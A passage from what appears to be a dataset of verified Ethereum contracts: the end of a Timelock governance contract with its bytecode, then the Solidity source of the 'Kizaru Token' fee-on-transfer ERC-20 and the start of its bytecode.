uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Timelock { using SafeMath for uint256; /// @notice An event emitted when the timelock admin changes event NewAdmin(address indexed newAdmin); /// @notice An event emitted when a new admin is staged in the timelock event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); /// @notice An event emitted when a queued transaction is cancelled event CancelTransaction(bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta); /// @notice An event emitted when a queued transaction is executed event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta); /// @notice An event emitted when a new transaction is queued event QueueTransaction(bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta); /// @notice the length of time after the delay has passed that a transaction can be executed uint256 public constant GRACE_PERIOD = 14 days; /// @notice the minimum length of the timelock delay uint256 public constant MINIMUM_DELAY = 12 hours + 2*60*15; // have to be present for 2 rebases /// @notice the maximum length of the timelock delay uint256 public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint256 public delay; bool public admin_initialized; mapping (bytes32 => bool) public queuedTransactions; constructor() public { /* require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); */ admin = msg.sender; delay = MINIMUM_DELAY; admin_initialized = false; } function() external payable { } /** @notice sets the delay @param delay_ the new delay */ function setDelay(uint256 delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } /// @notice sets the new admin address function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } /** @notice queues a new pendingAdmin @param pendingAdmin_ the new pendingAdmin address */ function setPendingAdmin(address pendingAdmin_) public { // allows one time setting of admin for deployment purposes if (admin_initialized) { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); } else { admin_initialized = true; } pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction( address target, uint256 value, string memory signature, bytes memory data, uint256 eta ) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction( address target, uint256 value, string memory signature, bytes memory data, uint256 eta ) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction( address target, uint256 value, string memory signature, bytes memory data, uint256 eta ) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); // timelock not enforced prior to updating the admin. This should occur on // deployment. bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); if (admin_initialized) { require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; } bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint256) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
0x6080604052600436106100dd5760003560e01c80636fc1f57e1161007f578063c1a287e211610059578063c1a287e214610787578063e177246e146107b2578063f2b06537146107ed578063f851a44014610840576100dd565b80636fc1f57e146107025780637d645fab14610731578063b1b43ae51461075c576100dd565b80633a66f901116100bb5780633a66f9011461034c5780634dd18bf5146104f3578063591fcdfe146105445780636a42b8f8146106d7576100dd565b80630825f38f146100df5780630e18b681146102de57806326782247146102f5575b005b610263600480360360a08110156100f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561013c57600080fd5b82018360208201111561014e57600080fd5b8035906020019184600183028401116401000000008311171561017057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156101d357600080fd5b8201836020820111156101e557600080fd5b8035906020019184600183028401116401000000008311171561020757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610897565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102a3578082015181840152602081019050610288565b50505050905090810190601f1680156102d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102ea57600080fd5b506102f3610f2e565b005b34801561030157600080fd5b5061030a6110bc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561035857600080fd5b506104dd600480360360a081101561036f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156103b657600080fd5b8201836020820111156103c857600080fd5b803590602001918460018302840111640100000000831117156103ea57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561044d57600080fd5b82018360208201111561045f57600080fd5b8035906020019184600183028401116401000000008311171561048157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001909291905050506110e2565b6040518082815260200191505060405180910390f35b3480156104ff57600080fd5b506105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114a8565b005b34801561055057600080fd5b506106d5600480360360a081101561056757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105ae57600080fd5b8201836020820111156105c057600080fd5b803590602001918460018302840111640100000000831117156105e257600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561064557600080fd5b82018360208201111561065757600080fd5b8035906020019184600183028401116401000000008311171561067957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019092919050505061160b565b005b3480156106e357600080fd5b506106ec611956565b6040518082815260200191505060405180910390f35b34801561070e57600080fd5b5061071761195c565b604051808215151515815260200191505060405180910390f35b34801561073d57600080fd5b5061074661196f565b6040518082815260200191505060405180910390f35b34801561076857600080fd5b50610771611976565b6040518082815260200191505060405180910390f35b34801561079357600080fd5b5061079c61197c565b6040518082815260200191505060405180910390f35b3480156107be57600080fd5b506107eb600480360360208110156107d557600080fd5b8101908080359060200190929190505050611983565b005b3480156107f957600080fd5b506108266004803603602081101561081057600080fd5b8101908080359060200190929190505050611af7565b604051808215151515815260200191505060405180910390f35b34801561084c57600080fd5b50610855611b17565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60606000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461093e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611bcd6038913960400191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156109ca5780820151818401526020810190506109af565b50505050905090810190601f1680156109f75780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b83811015610a30578082015181840152602081019050610a15565b50505050905090810190601f168015610a5d5780820380516001836020036101000a031916815260200191505b50975050505050505050604051602081830303815290604052805190602001209050600360009054906101000a900460ff1615610c0c576004600082815260200190815260200160002060009054906101000a900460ff16610b0a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611d20603d913960400191505060405180910390fd5b82610b13611b3c565b1015610b6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526045815260200180611c6f6045913960600191505060405180910390fd5b610b806212750084611b4490919063ffffffff16565b610b88611b3c565b1115610bdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526033815260200180611c3c6033913960400191505060405180910390fd5b60006004600083815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6060600086511415610c2057849050610cdb565b85805190602001208560405160200180837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260040182805190602001908083835b60208310610ca35780518252602082019150602081019050602083039250610c80565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b600060608973ffffffffffffffffffffffffffffffffffffffff1689846040518082805190602001908083835b60208310610d2b5780518252602082019150602081019050602083039250610d08565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610d8d576040519150601f19603f3d011682016040523d82523d6000602084013e610d92565b606091505b509150915081610ded576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611e03603d913960400191505060405180910390fd5b8973ffffffffffffffffffffffffffffffffffffffff16847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610e7a578082015181840152602081019050610e5f565b50505050905090810190601f168015610ea75780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b83811015610ee0578082015181840152602081019050610ec5565b50505050905090810190601f168015610f0d5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a38094505050505095945050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611d5d6038913960400191505060405180910390fd5b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c60405160405180910390a2565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611189576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180611dcd6036913960400191505060405180910390fd5b6111a5600254611197611b3c565b611b4490919063ffffffff16565b8210156111fd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526049815260200180611e406049913960600191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561128957808201518184015260208101905061126e565b50505050905090810190601f1680156112b65780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156112ef5780820151818401526020810190506112d4565b50505050905090810190601f16801561131c5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016004600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508673ffffffffffffffffffffffffffffffffffffffff16817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156113f75780820151818401526020810190506113dc565b50505050905090810190601f1680156114245780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561145d578082015181840152602081019050611442565b50505050905090810190601f16801561148a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a38091505095945050505050565b600360009054906101000a900460ff1615611546573073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611541576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611d956038913960400191505060405180910390fd5b611562565b6001600360006101000a81548160ff0219169083151502179055505b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75660405160405180910390a250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116b0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526037815260200180611c056037913960400191505060405180910390fd5b60008585858585604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561173c578082015181840152602081019050611721565b50505050905090810190601f1680156117695780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156117a2578082015181840152602081019050611787565b50505050905090810190601f1680156117cf5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006004600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff16817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156118aa57808201518184015260208101905061188f565b50505050905090810190601f1680156118d75780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156119105780820151818401526020810190506118f5565b50505050905090810190601f16801561193d5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b600360009054906101000a900460ff1681565b62278d0081565b61afc881565b6212750081565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180611e896031913960400191505060405180910390fd5b61afc8811015611a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180611cb46034913960400191505060405180910390fd5b62278d00811115611abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611ce86038913960400191505060405180910390fd5b806002819055506002547f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c60405160405180910390a250565b60046020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600042905090565b600080828401905083811015611bc2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea265627a7a72315820a603148f853a654ba4fea972115d6a2181e8e62e4e5dff0d953bd24592311fd264736f6c63430005110032
{"success": true, "error": null, "results": {}}
5,880
0x0fe53a0af6876a7f11ad0e32d0a06852d3f36fdf
/** *Submitted for verification at Etherscan.io on 2021-11-11 */ //SPDX-License-Identifier: MIT // Telegram: t.me/KizaruToken // Features: // 1. Initial buy limit 4% of total supply (preventing whales) // 2. Tax wallet owner can remove buy limit after renouncing ownership (allowing more holders in early stage) // 3. Tax wallet owner can lower tax after renouncing ownership (prepare launch in other exchange) pragma solidity ^0.8.7; uint256 constant INITIAL_TAX=9; uint256 constant TOTAL_SUPPLY=100000000; string constant TOKEN_SYMBOL="KIZARU"; string constant TOKEN_NAME="Kizaru Token"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract Kizaru is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(25); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function removeBuyLimit() public onlyTaxCollector{ _maxTxAmount=_tTotal; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102ed578063a9059cbb14610316578063dd62ed3e14610353578063f429389014610390576100fe565b806370a0823114610243578063715018a6146102805780638da5cb5b1461029757806395d89b41146102c2576100fe565b8063293230b8116100c6578063293230b8146101d3578063313ce567146101ea5780633e07ce5b1461021557806351bc3c851461022c576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b6040516101259190612492565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612032565b6103e4565b6040516101629190612477565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612614565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611fdf565b610426565b6040516101ca9190612477565b60405180910390f35b3480156101df57600080fd5b506101e86104ff565b005b3480156101f657600080fd5b506101ff6109f9565b60405161020c9190612689565b60405180910390f35b34801561022157600080fd5b5061022a610a02565b005b34801561023857600080fd5b50610241610a88565b005b34801561024f57600080fd5b5061026a60048036038101906102659190611f45565b610b02565b6040516102779190612614565b60405180910390f35b34801561028c57600080fd5b50610295610b53565b005b3480156102a357600080fd5b506102ac610ca6565b6040516102b991906123a9565b60405180910390f35b3480156102ce57600080fd5b506102d7610ccf565b6040516102e49190612492565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f919061209f565b610d0c565b005b34801561032257600080fd5b5061033d60048036038101906103389190612032565b610d84565b60405161034a9190612477565b60405180910390f35b34801561035f57600080fd5b5061037a60048036038101906103759190611f9f565b610da2565b6040516103879190612614565b60405180910390f35b34801561039c57600080fd5b506103a5610e29565b005b60606040518060400160405280600c81526020017f4b697a61727520546f6b656e0000000000000000000000000000000000000000815250905090565b60006103f86103f1610ee5565b8484610eed565b6001905092915050565b60006006600a61041291906127d3565b6305f5e10061042191906128f1565b905090565b60006104338484846110b8565b6104f48461043f610ee5565b6104ef85604051806060016040528060288152602001612e0b60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a5610ee5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114719092919063ffffffff16565b610eed565b600190509392505050565b610507610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600c60149054906101000a900460ff16156105b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a790612514565b60405180910390fd5b6105f930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006600a6105e591906127d3565b6305f5e1006105f491906128f1565b610eed565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561066157600080fd5b505afa158015610675573d6000803e3d6000fd5b